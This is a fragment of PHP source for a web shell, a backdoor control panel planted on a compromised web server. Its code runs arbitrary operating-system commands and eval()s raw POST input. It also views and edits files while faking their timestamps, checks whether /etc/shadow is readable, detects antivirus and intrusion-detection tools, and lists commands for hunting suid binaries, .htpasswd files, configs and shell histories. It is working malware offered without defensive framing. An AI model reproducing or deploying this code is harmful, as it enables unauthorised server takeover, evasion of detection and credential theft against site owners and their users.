{\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#ffffff><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#ffffff\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\r\n\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$asciifnc7 = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$asciifnc7);\r\n\t\t$asciifnc7 = @join("\\n",$asciifnc7);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$asciifnc7 = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$asciifnc7 = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$asciifnc7 .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($asciifnc7==\'\'?"↳ Query did not return anything\\n":$asciifnc7);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ffb101><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#ffffff><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000000><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe frameBorder=0 width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf 